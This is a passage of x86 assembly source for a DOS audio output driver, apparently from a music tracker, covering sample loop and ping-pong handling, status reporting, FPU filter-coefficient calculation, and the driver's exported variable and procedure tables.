                JC      LoadSampleEnd           ; Zero flag ON if 16 bit..

                Mov     BL, [FS:BP+12h]
                JNZ     LoadSample1
                                                ; 8 bit
                Mov     ESI, ECX
                Dec     ESI

                Test    BL, 10h                 ; Loop
                JZ      LoadSample8_3

                Mov     ESI, [FS:BP+34h]
                Mov     ECX, [FS:BP+38h]
                Mov     EDX, 1

                Test    BL, 40h
                JZ      LoadSample8_1

                Neg     EDX

                Mov     ESI, ECX
                Sub     ESI, 1
                JC      LoadSample8_4

                Cmp     ESI, 1
                JAE     LoadSample8_1
                Jmp     LoadSample8_3

LoadSample8_4:
                Xor     ESI, ESI

LoadSample8_3:
                Xor     EDX, EDX

LoadSample8_1:
                Int     3
                Mov     AL, [SI]
                Add     ESI, EDX
                Int     3
                Mov     AH, [SI]

                Mov     ESI, ECX
                Int     3
                Mov     [SI], AL
                Inc     ESI
                Int     3
                Mov     [SI], AH

                Jmp     LoadSampleEnd

LoadSample1:                                    ; 16 bit
                Mov     ESI, ECX
                Dec     ESI

                Test    BL, 10h                 ; Loop
                JZ      LoadSample16_2

                Mov     ESI, [FS:BP+34h]        ; Start
                Mov     ECX, [FS:BP+38h]        ; End
                Mov     EDX, 2

                Test    BL, 40h                 ; Pingpong?
                JZ      LoadSample16_1

                Neg     EDX                     ; Yes..pingpong

                Mov     ESI, ECX
                Sub     ESI, 1
                JC      LoadSample16_4

                Cmp     ESI, 1
                JAE     LoadSample16_1
                Jmp     LoadSample16_2

LoadSample16_4:
                Xor     ESI, ESI

LoadSample16_2:
                Xor     EDX, EDX

LoadSample16_1:
                Add     ESI, ESI
                Int     3
                Mov     AX, [SI]
                Add     ESI, EDX
                ShL     EAX, 16
                Int     3
                Mov     AX, [SI]

                Mov     ESI, ECX
                Add     ESI, ESI
                Int     3
                RoR     EAX, 16
                Mov     [SI], AX
                Add     ESI, 2
                Int     3
                ShR     EAX, 16
                Mov     [SI], AX

LoadSampleEnd:
                Pop     FS
                Pop     ES
                Pop     DS
                PopAD

                StC

                Ret

EndP            LoadSample

;ÄÄ ReleaseSample ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
; Parameters: AX = sample to release
;             DS:SI points to sample header
;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Proc            ReleaseSample Far

                Ret

EndP            ReleaseSample

;ÄÄ ResetMemory ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
;  Frees all on-board memory
;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Proc            ResetMemory Far

                Ret

EndP            ResetMemory

;ÄÄ GetStatus ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
;  Returns text to show on status line, AX = display parameter
;  Carry set if not to show anything.
;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Proc            GetStatus Far

                Cmp     CS:NumClipped, 0
                JNE     GetStatus1

                StC
                Ret

GetStatus1:
                Push    CS
                Pop     DS
                        Assume DS:Driver

                Mov     SI, Offset ClippedMsg
                Mov     BX, Word Ptr [NumClipped+2]
                Mov     AX, Word Ptr [NumClipped]

                ClC
                Ret

EndP            GetStatus
                Assume DS:Nothing

;ÄÄ SoundCardScreen ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
;  Function to have driver interactive part of program
;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Proc            SoundCardScreen Far

                Mov     AX, 5
                Mov     SI, 1
                Mov     CX, CS
                Mov     DX, Offset WAVScreenList

                ClC
                Ret

EndP            SoundCardScreen

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

TempVariable    DW      0
Const1          DD      3F800000h

Proc            GetFilterFrequency              ; Given AL= Freq
                Assume DS:Driver

                ShL     AX, 8
                Mov     TempVariable, AX
                FILD    TempVariable

                FMul    FreqParameterMultiplier ; -i/(24*256)
                FLd     ST
                FRndInt
                FSub    ST(1), ST
                FXCh
                F2XM1
                FLd1
                FAdd
                FScale                          ; = 2^(i/24*256)
                FMul    FreqMultiplier          ; = r

                FLd1                            ; 1, c
                FAdd    ST, ST(1)               ; 1+c, c
                FDivR   Const1                  ; 1/(1+c), c
                FSt     DWord Ptr [SI]
                FMul
                FStP    DWord Ptr [SI+4]
                FStP    ST

                Ret

EndP            GetFilterFrequency
                Assume DS:Nothing

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Const1On16      DD      3D000000h       ; actually 1 on 32

Proc            CalculateFilterCoefficients
                Assume DS:Driver

                PushA
                Push    CS
                Pop     DS

                FNInit
                FLdCW   NewControlWord

                Mov     AL, [VolumeTable]
                Mov     SI, Offset FilterCoefficients
                ShR     AL, 1
                Call    GetFilterFrequency

                Mov     AL, [VolumeTable+1]     ; FilterFrequency1
                Add     SI, 8
                Call    GetFilterFrequency

                Mov     AL, [VolumeTable+2]     ; FilterFrequency1
                Add     SI, 8
                Call    GetFilterFrequency

                Mov     AL, [VolumeTable+3]     ; FilterFrequency1
                Add     SI, 8
                Call    GetFilterFrequency

; Now volumes
                Mov     SI, Offset VolumeTable+4
                Mov     DI, Offset FilterVolumes
                Xor     AX, AX
                Mov     CX, 4

FilterVolumeLoop1:
                LodSB
                Mov     TempVariable, AX
                FILD    TempVariable
                FMul    Const1On16
                FStP    DWord Ptr [DI]

                Add     DI, 4
                Loop    FilterVolumeLoop1

                PopA
                Ret

EndP            CalculateFilterCoefficients
                Assume DS:Nothing

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Proc            GetVariable Far

                Xor     AH, AH
                Mov     AL, [CS:VolumeTable+DI]
                Ret
                Ret

EndP            GetVariable

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Proc            SetVariable Far

                Push    DS

                Push    CS
                Pop     DS
                        Assume DS:Driver

                Mov     [VolumeTable+DI], AL
                Call    CalculateFilterCoefficients

                Pop     DS
                Ret

EndP            SetVariable

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Proc            StartNoRampFunction Far

                Push    CS
                Pop     ES
                Mov     DI, Offset StartNoRamp

                Ret

EndP            StartNoRampFunction

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

EndDriver:

;********  Provided Variable Table *************

MaxNumberOfChannels     DW      0FFFFh  ; Maximum number of channels the
                                        ; driver can handle.
StopPlaySection         DW      1
DefaultChannels         DW      256
DriverFlags             DW      3       ; Bit 0 = MIDI Output
                                        ; Bit 1 = hiqual
                                        ; Bit 2 = waveform
                        DW      4 Dup (0)

;********  Provided Procedure Table *************

ProvidedTableStart:

        DW      Offset DetectCard

        DW      Offset InitSound        ; Playing related
        DW      Offset ReinitSound
        DW      Offset UninitSound

        DW      Offset Poll

        DW      Offset SetTempo         ; Sound variable related
        DW      Offset SetMixVolume
        DW      Offset SetStereo

        DW      Offset LoadSample       ; Sample related
        DW      Offset ReleaseSample
        DW      Offset ResetMemory
        DW      Offset GetStatus        ; Returns string to show on status line

        DW      Offset SoundCardScreen  ; Sound card 'screen'

        DW      Offset GetVariable      ; For interface
        DW      Offset SetVariable
        DW      Offset SendUARTOut

ProvidedTableEnd:
        DW      32-(ProvidedTableEnd-ProvidedTableStart)/2 Dup (0)

EndS

End
